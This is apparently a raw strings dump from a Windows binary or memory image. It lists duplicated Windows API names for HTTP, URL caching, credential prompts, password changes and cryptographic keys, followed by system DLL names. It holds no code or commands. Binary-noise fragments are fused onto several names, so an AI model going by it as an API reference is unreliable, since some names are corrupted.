DeleteUrlCacheGroup
DeleteUrlCacheEntryW
DeleteUrlCacheEntryW
DeleteUrlCacheEntryA
DeleteUrlCacheEntryA
DeleteUrlCacheContainerW
DeleteUrlCacheContainerW
DeleteUrlCacheContainerA
DeleteUrlCacheContainerA
CreateUrlCacheGroup
CreateUrlCacheGroup
CreateUrlCacheEntryW
CreateUrlCacheEntryW
CreateUrlCacheEntryA
CreateUrlCacheEntryA
CreateUrlCacheContainerW
CreateUrlCacheContainerW
CreateUrlCacheContainerA
CreateUrlCacheContainerA
CommitUrlCacheEntryW
CommitUrlCacheEntryW
CommitUrlCacheEntryA
CommitUrlCacheEntryA
HvWinHttpWriteData
HvWinHttpWriteData
WinHttpTimeToSystemTime
WinHttpTimeToSystemTime
WinHttpTimeFromSystemTime
WinHttpTimeFromSystemTime
WinHttpSetTimeouts
WinHttpSetTimeouts
WinHttpSetStatusCallback
WinHttpSetStatusCallback
WinHttpSetOption
WinHttpSetOption
WinHttpSetCredentials
WinHttpSetCredentials
WinHttpSendRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReceiveResponse
WinHttpReadData
WinHttpReadData
WinHttpQueryOption
WinHttpQueryOption
WinHttpQueryHeaders
WinHttpQueryHeaders
WinHttpQueryDataAvailable
WinHttpQueryDataAvailable
WinHttpQueryAuthSchemes
WinHttpQueryAuthSchemes
WinHttpOpenRequest
WinHttpOpenRequest
WinHttpOpen
WinHttpOpen
WinHttpGetProxyForUrl
WinHttpGetProxyForUrl
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetDefaultProxyConfiguration
WinHttpGetDefaultProxyConfiguration
WinHttpCreateUrl
WinHttpCreateUrl
WinHttpCrackUrl
WinHttpCrackUrl
WinHttpConnect
WinHttpConnect
WinHttpCloseHandle
WinHttpCloseHandle
WinHttpAddRequestHeaders
WinHttpAddRequestHeaders
]HvWerpSubmitReportFromStore
]HvWerpSubmitReportFromStore
WerpSetReportFlags
WerpSetReportFlags
WerpSetIntegratorReportId
WerpSetIntegratorReportId
WerpGetReportFlags
WerpGetReportFlags
WerpGetIntegratorReportId
WerpGetIntegratorReportId
WerpCreateIntegratorReportId
WerpCreateIntegratorReportId
WerpAddRegisteredDataToReport
WerpAddRegisteredDataToReport
WerReportSubmit
WerReportSubmit
WerReportSetUIOption
WerReportSetUIOption
WerReportSetParameter
WerReportSetParameter
WerReportCreate
WerReportCreate
WerReportCloseHandle
WerReportCloseHandle
WerReportAddFile
WerReportAddFile
WerReportAddDump
WerReportAddDump
WsShutdownSessionChannel
WsShutdownSessionChannel
WsRegisterOperationForCancel
WsRegisterOperationForCancel
WsGetOperationContextProperty
WsGetOperationContextProperty
WsEncodeUrl
WsEncodeUrl
WsDecodeUrl
WsDecodeUrl
WsCombineUrl
WsCombineUrl
WsAsyncExecute
WsAsyncExecute
ToplScheduleImport
ToplScheduleImport
ToplScheduleExportReadonly
ToplScheduleExportReadonly
LogonUserExExW
LogonUserExExW
ChangeAccountPasswordW
ChangeAccountPasswordW
ChangeAccountPasswordA
ChangeAccountPasswordA
NetServerTransportEnum
NetServerTransportEnum
NetServerTransportDel
NetServerTransportDel
NetServerTransportAddEx
NetServerTransportAddEx
>v.hHv
>v.hHv
>v.hHv4
>v.hHv4
>v.hHv,
>v.hHv,
SqmIsWindowsOptedIn
SqmIsWindowsOptedIn
SLSetCurrentProductKey
SLSetCurrentProductKey
SLGetPKeyInformation
SLGetPKeyInformation
SLGetPKeyId
SLGetPKeyId
SLGetInstalledProductKeyIds
SLGetInstalledProductKeyIds
SpInfGetLineTextWithKey
SpInfGetLineTextWithKey
SLGetPackageProductKey
SLGetPackageProductKey
HvGetScheduledDiagnosticsExecutionLevel
HvGetScheduledDiagnosticsExecutionLevel
SceSetupUpdateSecurityKey
SceSetupUpdateSecurityKey
>v~~HvSamiSyncDSRMPasswordFromAccount
>v~~HvSamiSyncDSRMPasswordFromAccount
SamiOemChangePasswordUser2WithTransport
SamiOemChangePasswordUser2WithTransport
SamiChangePasswordUser3
SamiChangePasswordUser3
SamiChangePasswordUser
SamiChangePasswordUser
SamiChangeKeys
SamiChangeKeys
SamValidatePassword
SamValidatePassword
SamChangePasswordUser2
SamChangePasswordUser2
SamChangePasswordUser
SamChangePasswordUser
\HvNetValidatePasswordPolicyFree
\HvNetValidatePasswordPolicyFree
NetValidatePasswordPolicy
NetValidatePasswordPolicy
NetUserChangePassword
NetUserChangePassword
RmJoinSession
RmJoinSession
>v!qHvWinHttpCallbackAvrf
>v!qHvWinHttpCallbackAvrf
I_RpcBindingInqTransportType
I_RpcBindingInqTransportType
PowerOpenUserPowerKey
PowerOpenUserPowerKey
PowerOpenSystemPowerKey
PowerOpenSystemPowerKey
PowerInternalImportPowerScheme
PowerInternalImportPowerScheme
@vCertAutoRemove
@vCertAutoRemove
CertAutoEnrollment
CertAutoEnrollment
PeerGraphImportDatabase
PeerGraphImportDatabase
PeerGraphExportDatabase
PeerGraphExportDatabase
?v$^HvOneXUpdatePortProfile
?v$^HvOneXUpdatePortProfile
OneXDestroySupplicantPort
OneXDestroySupplicantPort
OneXCreateSupplicantPort
OneXCreateSupplicantPort
KccExecuteTask
KccExecuteTask
&@vUpdateBackupExclusionKey
&@vUpdateBackupExclusionKey
NetpIsShareNameValid
NetpIsShareNameValid
NetRemoteComputerSupports
NetRemoteComputerSupports
NetpGetJoinInformation
NetpGetJoinInformation
NetpDomainJoinLicensingCheck
NetpDomainJoinLicensingCheck
NetpDoDomainJoin
NetpDoDomainJoin
NetpCompleteOfflineDomainJoin
NetpCompleteOfflineDomainJoin
NetRequestOfflineDomainJoin
NetRequestOfflineDomainJoin
NdfExecuteDiagnosis
NdfExecuteDiagnosis
NdfCreateWebIncidentEx
NdfCreateWebIncidentEx
NdfCreateWebIncident
NdfCreateWebIncident
BCryptImportKeyPair
BCryptImportKeyPair
BCryptImportKey
BCryptImportKey
BCryptGenerateSymmetricKey
BCryptGenerateSymmetricKey
BCryptGenerateKeyPair
BCryptGenerateKeyPair
BCryptFinalizeKeyPair
BCryptFinalizeKeyPair
BCryptExportKey
BCryptExportKey
BCryptDuplicateKey
BCryptDuplicateKey
BCryptDestroyKey
BCryptDestroyKey
BCryptDeriveKeyPBKDF2
BCryptDeriveKeyPBKDF2
BCryptDeriveKeyCapi
BCryptDeriveKeyCapi
BCryptDeriveKey
BCryptDeriveKey
aHvWasDTCInstalledBySQL
aHvWasDTCInstalledBySQL
~@v80?vehHvSpcGetCertFromKey
~@v80?vehHvSpcGetCertFromKey
GetCryptProvFromCertEx
GetCryptProvFromCertEx
GetCryptProvFromCert
GetCryptProvFromCert
FreeCryptProvFromCertEx
FreeCryptProvFromCertEx
FreeCryptProvFromCert
FreeCryptProvFromCert
}HvShowModelessHTMLDialog
}HvShowModelessHTMLDialog
MprConfigTransportSetInfo
MprConfigTransportSetInfo
MprConfigTransportGetInfo
MprConfigTransportGetInfo
MprConfigTransportGetHandle
MprConfigTransportGetHandle
MprConfigTransportDelete
MprConfigTransportDelete
MprConfigTransportCreate
MprConfigTransportCreate
MprConfigInterfaceTransportRemove
MprConfigInterfaceTransportRemove
MprConfigInterfaceTransportGetInfo
MprConfigInterfaceTransportGetInfo
MprConfigInterfaceTransportGetHandle
MprConfigInterfaceTransportGetHandle
MprConfigInterfaceTransportEnum
MprConfigInterfaceTransportEnum
MprConfigInterfaceTransportAdd
MprConfigInterfaceTransportAdd
MprAdminTransportSetInfo
MprAdminTransportSetInfo
MprAdminTransportGetInfo
MprAdminTransportGetInfo
MprAdminTransportCreate
MprAdminTransportCreate
MprAdminPortGetInfo
MprAdminPortGetInfo
MprAdminPortEnum
MprAdminPortEnum
MprAdminInterfaceTransportRemove
MprAdminInterfaceTransportRemove
MprAdminInterfaceTransportAdd
MprAdminInterfaceTransportAdd
WNetPasswordChangeNotify
WNetPasswordChangeNotify
E?vW~HvMFCreateSourceReaderFromURL
E?vW~HvMFCreateSourceReaderFromURL
MFCreateSinkWriterFromURL
MFCreateSinkWriterFromURL
MFGetSupportedSchemes
MFGetSupportedSchemes
MFGetSupportedMimeTypes
MFGetSupportedMimeTypes
MFCreateASFMultiplexer
MFCreateASFMultiplexer
MFCreateASFIndexerByteStream
MFCreateASFIndexerByteStream
MFCreateASFIndexer
MFCreateASFIndexer
LsaINotifyPasswordChanged
LsaINotifyPasswordChanged
LsaICallPackagePassthrough
LsaICallPackagePassthrough
PRShowSaveFromMsginaW
PRShowSaveFromMsginaW
PRShowRestoreFromMsginaW
PRShowRestoreFromMsginaW
KRShowKeyMgr
KRShowKeyMgr
MimeOleParseMhtmlUrl
MimeOleParseMhtmlUrl
ImmGetVirtualKey
ImmGetVirtualKey
ImageRemoveCertificate
ImageRemoveCertificate
ImageGetCertificateHeader
ImageGetCertificateHeader
ImageGetCertificateData
ImageGetCertificateData
ImageEnumerateCertificates
ImageEnumerateCertificates
ImageAddCertificate
ImageAddCertificate
FindExecutableImage
FindExecutableImage
AddUrlToFavorites
AddUrlToFavorites
Hv@y?vv{HvTestURL
Hv@y?vv{HvTestURL
ShowInetcpl
ShowInetcpl
NewUrl
NewUrl
ImportZones
ImportZones
ImportSearchProviders
ImportSearchProviders
ImportRatings
ImportRatings
ImportRSSFeeds
ImportRSSFeeds
ImportQuickLinks
ImportQuickLinks
ImportPrograms
ImportPrograms
ImportHomePage
ImportHomePage
ImportFavoritesCmd
ImportFavoritesCmd
ImportFavorites
ImportFavorites
ImportConnectSet
ImportConnectSet
ImportADMFile
ImportADMFile
GetURLLinkType
GetURLLinkType
GetFavoriteUrl
GetFavoriteUrl
ExportRSSFeeds
ExportRSSFeeds
ExportQuickLinks
ExportQuickLinks
ExportFavorites
ExportFavorites
CheckForDupKeys
CheckForDupKeys
\Hv`~?vjN@vIcfGetOperationalMode
\Hv`~?vjN@vIcfGetOperationalMode
GdiplusShutdown
GdiplusShutdown
GdipSetImageAttributesColorKeys
GdipSetImageAttributesColorKeys
SetViewportOrgEx
SetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
FaxSetPortW
FaxSetPortW
FaxSetPortExW
FaxSetPortExW
FaxSetPortExA
FaxSetPortExA
FaxSetPortA
FaxSetPortA
FaxOpenPort
FaxOpenPort
FaxGetReportedServerAPIVersion
FaxGetReportedServerAPIVersion
FaxGetPortW
FaxGetPortW
FaxGetPortExW
FaxGetPortExW
FaxGetPortExA
FaxGetPortExA
FaxGetPortA
FaxGetPortA
FaxEnumPortsW
FaxEnumPortsW
FaxEnumPortsExW
FaxEnumPortsExW
FaxEnumPortsExA
FaxEnumPortsExA
FaxEnumPortsA
FaxEnumPortsA
FwpmFilterGetByKey0
FwpmFilterGetByKey0
FwpmFilterDeleteByKey0
FwpmFilterDeleteByKey0
FmsGetGdiLogicalFont
FmsGetGdiLogicalFont
FmsGetGDILogFont
FmsGetGDILogFont
FmsGetFontProperty
FmsGetFontProperty
FmsGetFontAutoActivationMode
FmsGetFontAutoActivationMode
FmsGetFilteredPropertyList
FmsGetFilteredPropertyList
FmsGetFilteredFontList
FmsGetFilteredFontList
FmsGetDirectWriteLogFont
FmsGetDirectWriteLogFont
FmsGetCurrentFilter
FmsGetCurrentFilter
FmsGetBestMatchInFamily
FmsGetBestMatchInFamily
FWResetIndicatedPortInUse
FWResetIndicatedPortInUse
FWIndicatePortInUse
FWIndicatePortInUse
JetMakeKey
JetMakeKey
DwmGetTransportAttributes
DwmGetTransportAttributes
gHvpServerImportDriverPackage
gHvpServerImportDriverPackage
DriverStoreImportW
DriverStoreImportW
@vDrtDeleteIpv6UdpTransport
@vDrtDeleteIpv6UdpTransport
DrtCreateIpv6UdpTransport
DrtCreateIpv6UdpTransport
DrtDeleteDerivedKeySecurityProvider
DrtDeleteDerivedKeySecurityProvider
DrtCreateDerivedKeySecurityProvider
DrtCreateDerivedKeySecurityProvider
DrtCreateDerivedKey
DrtCreateDerivedKey
xHvDrtUpdateKey
xHvDrtUpdateKey
DrtUnregisterKey
DrtUnregisterKey
DrtRegisterKey
DrtRegisterKey
NetDfsGetSupportedNamespaceVersion
NetDfsGetSupportedNamespaceVersion
DevObjOpenDeviceInterfaceRegKey
DevObjOpenDeviceInterfaceRegKey
DevObjOpenDevRegKey
DevObjOpenDevRegKey
DevObjOpenClassRegKey
DevObjOpenClassRegKey
DevObjGetDevicePropertyKeys
DevObjGetDevicePropertyKeys
DevObjGetDeviceInterfacePropertyKeys
DevObjGetDeviceInterfacePropertyKeys
DevObjGetClassPropertyKeys
DevObjGetClassPropertyKeys
DevObjDeleteDeviceInterfaceRegKey
DevObjDeleteDeviceInterfaceRegKey
DevObjDeleteDevRegKey
DevObjDeleteDevRegKey
DevObjCreateDeviceInterfaceRegKey
DevObjCreateDeviceInterfaceRegKey
DevObjCreateDevRegKey
DevObjCreateDevRegKey
?vjN@vDavGetUNCFromHTTPPath
?vjN@vDavGetUNCFromHTTPPath
DavGetHTTPFromUNCPath
DavGetHTTPFromUNCPath
DavCheckAndConvertHttpUrlToUncName
DavCheckAndConvertHttpUrlToUncName
CryptXmlImportPublicKey
CryptXmlImportPublicKey
CryptUIWizCertRequest
CryptUIWizCertRequest
CryptUIDlgViewCertificateW
CryptUIDlgViewCertificateW
CryptUIDlgSelectCertificateW
CryptUIDlgSelectCertificateW
CryptUIDlgSelectCertificateFromStore
CryptUIDlgSelectCertificateFromStore
CryptUIDlgCertMgr
CryptUIDlgCertMgr
CertSelectionGetSerializedBlob
CertSelectionGetSerializedBlob
CryptSetKeyParam
CryptSetKeyParam
CryptImportKey
CryptImportKey
CryptGetUserKey
CryptGetUserKey
CryptGetKeyParam
CryptGetKeyParam
CryptGenKey
CryptGenKey
CryptExportKey
CryptExportKey
CryptDestroyKey
CryptDestroyKey
CryptDeriveKey
CryptDeriveKey
HvCryptRetrieveObjectByUrlW
HvCryptRetrieveObjectByUrlW
CryptRetrieveObjectByUrlA
CryptRetrieveObjectByUrlA
bHvGetFriendlyNameOfCertW
bHvGetFriendlyNameOfCertW
GetFriendlyNameOfCertA
GetFriendlyNameOfCertA
CertViewPropertiesW
CertViewPropertiesW
CertViewPropertiesA
CertViewPropertiesA
CertSelectCertificateW
CertSelectCertificateW
CertSelectCertificateA
CertSelectCertificateA
CredUIPromptForWindowsCredentialsWorker
CredUIPromptForWindowsCredentialsWorker
CredUIPromptForWindowsCredentialsW
CredUIPromptForWindowsCredentialsW
CredUICmdLinePromptForCredentialsW
CredUICmdLinePromptForCredentialsW
Z@vTaskDialogIndirect
Z@vTaskDialogIndirect
PstMapCertificate
PstMapCertificate
PstGetUserNameForCertificate
PstGetUserNameForCertificate
PstGetCertificates
PstGetCertificates
PstAcquirePrivateKey
PstAcquirePrivateKey
?v'I@vCAGetCertTypePropertyEx
?v'I@vCAGetCertTypePropertyEx
CAGetCertTypeProperty
CAGetCertTypeProperty
CAGetCertTypeKeySpec
CAGetCertTypeKeySpec
CAGetCertTypeFlagsEx
CAGetCertTypeFlagsEx
CAGetCertTypeFlags
CAGetCertTypeFlags
CAGetCertTypeExtensionsEx
CAGetCertTypeExtensionsEx
CAGetCertTypeExtensions
CAGetCertTypeExtensions
CAGetCertTypeExpiration
CAGetCertTypeExpiration
CAGetCACertificate
CAGetCACertificate
CAFreeCertTypeProperty
CAFreeCertTypeProperty
CAFreeCertTypeExtensions
CAFreeCertTypeExtensions
CAFindCertTypeByName
CAFindCertTypeByName
CAEnumNextCertType
CAEnumNextCertType
CAEnumCertTypesForCAEx
CAEnumCertTypesForCAEx
CAEnumCertTypesForCA
CAEnumCertTypesForCA
CAEnumCertTypes
CAEnumCertTypes
CACountCertTypes
CACountCertTypes
CACloseCertType
CACloseCertType
CACertTypeAccessCheckEx
CACertTypeAccessCheckEx
CACertTypeAccessCheck
CACertTypeAccessCheck
GetAppImport
GetAppImport
PeerIdentityImport
PeerIdentityImport
PeerIdentityGetCryptKey
PeerIdentityGetCryptKey
PeerIdentityExport
PeerIdentityExport
PeerGroupResumePasswordAuthentication
PeerGroupResumePasswordAuthentication
PeerGroupPasswordJoin
PeerGroupPasswordJoin
PeerGroupJoin
PeerGroupJoin
PeerGroupImportDatabase
PeerGroupImportDatabase
PeerGroupImportConfig
PeerGroupImportConfig
PeerGroupExportDatabase
PeerGroupExportDatabase
PeerGroupExportConfig
PeerGroupExportConfig
PeerGroupCreatePasswordInvitation
PeerGroupCreatePasswordInvitation
PeerCollabExportContact
PeerCollabExportContact
GetUdpStatisticsEx
GetUdpStatisticsEx
GetUdpStatistics
GetUdpStatistics
GetTcpStatisticsEx
GetTcpStatisticsEx
GetTcpStatistics
GetTcpStatistics
DsaopExecuteScript
DsaopExecuteScript
DsMakePasswordCredentialsW
DsMakePasswordCredentialsW
DsMakePasswordCredentialsA
DsMakePasswordCredentialsA
DsFreePasswordCredentials
DsFreePasswordCredentials
EfsUtilGetCurrentKey
EfsUtilGetCurrentKey
PSStringFromPropertyKey
PSStringFromPropertyKey
PSPropertyKeyFromString
PSPropertyKeyFromString
PSPropertyBag_WritePropertyKey
PSPropertyBag_WritePropertyKey
PSPropertyBag_ReadPropertyKey
PSPropertyBag_ReadPropertyKey
PSGetPropertyKeyFromName
PSGetPropertyKeyFromName
PSGetNameFromPropertyKey
PSGetNameFromPropertyKey
__AddMachineCertToLicenseStore
__AddMachineCertToLicenseStore
RasIsSharedConnection
RasIsSharedConnection
MprmsgGetErrorString
MprmsgGetErrorString
SslOpenPrivateKey
SslOpenPrivateKey
SslImportMasterKey
SslImportMasterKey
SslImportKey
SslImportKey
SslGetKeyProperty
SslGetKeyProperty
SslGenerateSessionKeys
SslGenerateSessionKeys
SslGenerateMasterKey
SslGenerateMasterKey
SslExportKey
SslExportKey
SslCreateEphemeralKey
SslCreateEphemeralKey
SslComputeEapKeyBlock
SslComputeEapKeyBlock
NCryptOpenKey
NCryptOpenKey
NCryptNotifyChangeKey
NCryptNotifyChangeKey
NCryptIsKeyHandle
NCryptIsKeyHandle
NCryptIsAlgSupported
NCryptIsAlgSupported
NCryptImportKey
NCryptImportKey
NCryptFinalizeKey
NCryptFinalizeKey
NCryptExportKey
NCryptExportKey
NCryptEnumKeys
NCryptEnumKeys
NCryptDeriveKey
NCryptDeriveKey
NCryptDeleteKey
NCryptDeleteKey
NCryptCreatePersistedKey
NCryptCreatePersistedKey
^@vHttpWaitForDisconnectEx
^@vHttpWaitForDisconnectEx
HttpWaitForDisconnect
HttpWaitForDisconnect
HttpWaitForDemandStart
HttpWaitForDemandStart
HttpTerminate
HttpTerminate
HttpShutdownRequestQueue
HttpShutdownRequestQueue
HttpSetUrlGroupProperty
HttpSetUrlGroupProperty
HttpSetServiceConfiguration
HttpSetServiceConfiguration
HttpSetServerSessionProperty
HttpSetServerSessionProperty
HttpSetRequestQueueProperty
HttpSetRequestQueueProperty
HttpSendResponseEntityBody
HttpSendResponseEntityBody
HttpSendHttpResponse
HttpSendHttpResponse
HttpRemoveUrlFromUrlGroup
HttpRemoveUrlFromUrlGroup
HttpRemoveUrl
HttpRemoveUrl
HttpReceiveRequestEntityBody
HttpReceiveRequestEntityBody
HttpReceiveHttpRequest
HttpReceiveHttpRequest
HttpReceiveClientCertificate
HttpReceiveClientCertificate
HttpReadFragmentFromCache
HttpReadFragmentFromCache
HttpQueryUrlGroupProperty
HttpQueryUrlGroupProperty
HttpQueryServiceConfiguration
HttpQueryServiceConfiguration
HttpQueryServerSessionProperty
HttpQueryServerSessionProperty
HttpQueryRequestQueueProperty
HttpQueryRequestQueueProperty
HttpInitialize
HttpInitialize
HttpGetCounters
HttpGetCounters
HttpFlushResponseCache
HttpFlushResponseCache
HttpDeleteServiceConfiguration
HttpDeleteServiceConfiguration
HttpCreateUrlGroup
HttpCreateUrlGroup
HttpCreateServerSession
HttpCreateServerSession
HttpCreateRequestQueue
HttpCreateRequestQueue
HttpCreateHttpHandle
HttpCreateHttpHandle
HttpCloseUrlGroup
HttpCloseUrlGroup
HttpCloseServerSession
HttpCloseServerSession
HttpCloseRequestQueue
HttpCloseRequestQueue
HttpCancelHttpRequest
HttpCancelHttpRequest
HttpAddUrlToUrlGroup
HttpAddUrlToUrlGroup
HttpAddUrl
HttpAddUrl
HttpAddFragmentToCache
HttpAddFragmentToCache
n@vEv@vUrlMkSetSessionOption
n@vEv@vUrlMkSetSessionOption
UrlMkGetSessionOption
UrlMkGetSessionOption
URLOpenBlockingStreamW
URLOpenBlockingStreamW
URLOpenBlockingStreamA
URLOpenBlockingStreamA
URLDownloadToFileW
URLDownloadToFileW
URLDownloadToFileA
URLDownloadToFileA
URLDownloadToCacheFileW
URLDownloadToCacheFileW
URLDownloadToCacheFileA
URLDownloadToCacheFileA
ResetUrlmonLanguageData
ResetUrlmonLanguageData
IsValidURL
IsValidURL
GetUrlmonThreadNotificationHwnd
GetUrlmonThreadNotificationHwnd
GetPortFromUrlScheme
GetPortFromUrlScheme
GetMarkOfTheWeb
GetMarkOfTheWeb
GetAddSitesFileUrl
GetAddSitesFileUrl
CreateURLMonikerEx2
CreateURLMonikerEx2
CreateURLMonikerEx
CreateURLMonikerEx
CreateURLMoniker
CreateURLMoniker
CoInternetParseUrl
CoInternetParseUrl
CoInternetIsFeatureEnabledForUrl
CoInternetIsFeatureEnabledForUrl
CoInternetGetSecurityUrlEx
CoInternetGetSecurityUrlEx
CoInternetGetSecurityUrl
CoInternetGetSecurityUrl
CoInternetCompareUrl
CoInternetCompareUrl
CoInternetCombineUrlEx
CoInternetCombineUrlEx
CoInternetCombineUrl
CoInternetCombineUrl
CoGetClassObjectFromURL
CoGetClassObjectFromURL
acmDriverRemove
acmDriverRemove
acmDriverOpen
acmDriverOpen
acmDriverClose
acmDriverClose
acmDriverAddW
acmDriverAddW
@vxpsrasterservice.dll
@vxpsrasterservice.dll
xolehlp.dll
xolehlp.dll
xmllite.dll
xmllite.dll
wtsapi32.dll
wtsapi32.dll
wsdapi.dll
wsdapi.dll
ws2_32.dll
ws2_32.dll
wmvcore.dll
wmvcore.dll
wmpmde.dll
wmpmde.dll
wmi.dll
wmi.dll
wmdrmsdk.dll
wmdrmsdk.dll
wldap32.dll
wldap32.dll
wlanutil.dll
wlanutil.dll
wlanhlp.dll
wlanhlp.dll
wlanapi.dll
wlanapi.dll
wkscli.dll
wkscli.dll
wintrust.dll
wintrust.dll
winsta.dll
winsta.dll
winspool.drv
winspool.drv
winscard.dll
winscard.dll
winnsi.dll
winnsi.dll
winmm.dll
winmm.dll
wininet.dll
wininet.dll
winhttp.dll
winhttp.dll
windowscodecs.dll
windowscodecs.dll
winbrand.dll
winbrand.dll
werui.dll
werui.dll
wer.dll
wer.dll
webservices.dll
webservices.dll
webio.dll
webio.dll
wdi.dll
wdi.dll
w32topl.dll
w32topl.dll
vssapi.dll
vssapi.dll
vpnikeapi.dll
vpnikeapi.dll
virtdisk.dll
virtdisk.dll
version.dll
version.dll
vaultcli.dll
vaultcli.dll
uxtheme.dll
uxtheme.dll
uxinit.dll
uxinit.dll
utildll.dll
utildll.dll
usp10.dll
usp10.dll
userenv.dll
userenv.dll
user32.dll
user32.dll
urlmon.dll
urlmon.dll
uiautomationcore.dll
uiautomationcore.dll
ubpm.dll
ubpm.dll
tdh.dll
tdh.dll
tapi32.dll
tapi32.dll
syssetup.dll
syssetup.dll
synceng.dll
synceng.dll
sti.dll
sti.dll
sspicli.dll
sspicli.dll
srvcli.dll
srvcli.dll
srclient.dll
srclient.dll
sqmapi.dll
sqmapi.dll
sppc.dll
sppc.dll
spinf.dll
spinf.dll
spfileq.dll
spfileq.dll
sndvolsso.dll
sndvolsso.dll
slcext.dll
slcext.dll
slc.dll
slc.dll
shlwapi.dll
shlwapi.dll
shfolder.dll
shfolder.dll
shell32.dll
shell32.dll
shdocvw.dll
shdocvw.dll
sfmapi.dll
sfmapi.dll
sfc.dll
sfc.dll
setupapi.dll
setupapi.dll
sensapi.dll
sensapi.dll
secur32.dll
secur32.dll
sdiagschd.dll
sdiagschd.dll
scecli.dll
scecli.dll
scarddlg.dll
scarddlg.dll
samsrv.dll
samsrv.dll
samlib.dll
samlib.dll
samcli.dll
samcli.dll
rtutils.dll
rtutils.dll
rstrtmgr.dll
rstrtmgr.dll
rpcshim.dll
rpcshim.dll
rpcrt4.dll
rpcrt4.dll
rpchttp.dll
rpchttp.dll
regapi.dll
regapi.dll
rasman.dll
rasman.dll
rasdlg.dll
rasdlg.dll
rasapi32.dll
rasapi32.dll
qwave.dll
qwave.dll
query.dll
query.dll
pstorec.dll
pstorec.dll
psapi.dll
psapi.dll
propsys.dll
propsys.dll
profapi.dll
profapi.dll
printui.dll
printui.dll
powrprof.dll
powrprof.dll
pidgenx.dll
pidgenx.dll
pidgen.dll
pidgen.dll
pcwum.dll
pcwum.dll
pautoenr.dll
pautoenr.dll
p2pgraph.dll
p2pgraph.dll
p2p.dll
p2p.dll
opengl32.dll
opengl32.dll
onexui.dll
onexui.dll
onex.dll
onex.dll
oledlg.dll
oledlg.dll
oleaut32.dll
oleaut32.dll
oleacc.dll
oleacc.dll
ole32.dll
ole32.dll
odbc32.dll
odbc32.dll
occache.dll
occache.dll
ntshrui.dll
ntshrui.dll
ntmarta.dll
ntmarta.dll
ntlanman.dll
ntlanman.dll
ntdskcc.dll
ntdskcc.dll
ntdsetup.dll
ntdsetup.dll
ntdsbsrv.dll
ntdsbsrv.dll
ntdsapi.dll
ntdsapi.dll
ntdsa.dll
ntdsa.dll
nsi.dll
nsi.dll
normaliz.dll
normaliz.dll
netutils.dll
netutils.dll
netshell.dll
netshell.dll
netplwiz.dll
netplwiz.dll
netman.dll
netman.dll
netlogon.dll
netlogon.dll
netjoin.dll
netjoin.dll
netcfgx.dll
netcfgx.dll
netbios.dll
netbios.dll
netapi32.dll
netapi32.dll
ndfapi.dll
ndfapi.dll
ncrypt.dll
ncrypt.dll
nci.dll
nci.dll
mtxclu.dll
mtxclu.dll
mswsock.dll
mswsock.dll
mssign32.dll
mssign32.dll
msrating.dll
msrating.dll
msoobeui.dll
msoobeui.dll
msjava.dll
msjava.dll
msimg32.dll
msimg32.dll
msiltcfg.dll
msiltcfg.dll
msi.dll
msi.dll
mshtml.dll
mshtml.dll
msgina.dll
msgina.dll
msfeeds.dll
msfeeds.dll
msdrm.dll
msdrm.dll
msctf.dll
msctf.dll
mscat32.dll
mscat32.dll
msacm32.dll
msacm32.dll
mqrt.dll
mqrt.dll
mprmsg.dll
mprmsg.dll
mprapi.dll
mprapi.dll
mpr.dll
mpr.dll
mmdevapi.dll
mmdevapi.dll
mlang.dll
mlang.dll
mfreadwrite.dll
mfreadwrite.dll
mfplat.dll
mfplat.dll
mf.dll
mf.dll
mdedrmstublib.dll
mdedrmstublib.dll
lsasrv.dll
lsasrv.dll
logoncli.dll
logoncli.dll
loadperf.dll
loadperf.dll
linkinfo.dll
linkinfo.dll
ktmw32.dll
ktmw32.dll
keymgr.dll
keymgr.dll
kdcsvc.dll
kdcsvc.dll
iphlpapi.dll
iphlpapi.dll
inseng.dll
inseng.dll
inetcomm.dll
inetcomm.dll
imm32.dll
imm32.dll
imgutil.dll
imgutil.dll
imagehlp.dll
imagehlp.dll
ieui.dll
ieui.dll
ieshims.dll
ieshims.dll
ieframe.dll
ieframe.dll
ieakeng.dll
ieakeng.dll
iashlpr.dll
iashlpr.dll
httpapi.dll
httpapi.dll
hnetcfg.dll
hnetcfg.dll
hlink.dll
hlink.dll
hid.dll
hid.dll
gpsvc.dll
gpsvc.dll
gpapi.dll
gpapi.dll
gdiplus.dll
gdiplus.dll
gdi32.dll
gdi32.dll
fxsapi.dll
fxsapi.dll
fwpuclnt.dll
fwpuclnt.dll
fveapi.dll
fveapi.dll
fms.dll
fms.dll
firewallapi.dll
firewallapi.dll
explorerframe.dll
explorerframe.dll
evr.dll
evr.dll
esent.dll
esent.dll
elscore.dll
elscore.dll
ehtrace.dll
ehtrace.dll
efsutil.dll
efsutil.dll
efsadu.dll
efsadu.dll
eappcfg.dll
eappcfg.dll
dxgi.dll
dxgi.dll
dwmapi.dll
dwmapi.dll
duser.dll
duser.dll
dui70.dll
dui70.dll
dsrole.dll
dsrole.dll
dsound.dll
dsound.dll
drvstore.dll
drvstore.dll
drttransport.dll
drttransport.dll
drtprov.dll
drtprov.dll
drt.dll
drt.dll
dnsapi.dll
dnsapi.dll
dhcpcsvc6.dll
dhcpcsvc6.dll
dhcpcsvc.dll
dhcpcsvc.dll
dfscli.dll
dfscli.dll
devrtl.dll
devrtl.dll
devobj.dll
devobj.dll
devmgr.dll
devmgr.dll
ddraw.dll
ddraw.dll
dbghelp.dll
dbghelp.dll
dbgeng.dll
dbgeng.dll
davhlpr.dll
davhlpr.dll
d3d9.dll
d3d9.dll
d3d8.dll
d3d8.dll
d2d1.dll
d2d1.dll
cscdll.dll
cscdll.dll
cscapi.dll
cscapi.dll
cryptxml.dll
cryptxml.dll
cryptui.dll
cryptui.dll
cryptsp.dll
cryptsp.dll
cryptnet.dll
cryptnet.dll
cryptdll.dll
cryptdll.dll
cryptdlg.dll
cryptdlg.dll
cryptbase.dll
cryptbase.dll
crypt32.dll
crypt32.dll
credui.dll
credui.dll
comsvcs.dll
comsvcs.dll
comdlg32.dll
comdlg32.dll
comctl32.dll
comctl32.dll
colbact.dll
colbact.dll
clusapi.dll
clusapi.dll
clbcatq.dll
clbcatq.dll
cfgmgr32.dll
cfgmgr32.dll
certpoleng.dll
certpoleng.dll
certenroll.dll
certenroll.dll
certcli.dll
certcli.dll
catsrvut.dll
catsrvut.dll
catsrv.dll
catsrv.dll
cabinet.dll
cabinet.dll
browcli.dll
browcli.dll
bcrypt.dll
bcrypt.dll
avrt.dll
avrt.dll
authz.dll
authz.dll
appmgmts.dll
appmgmts.dll
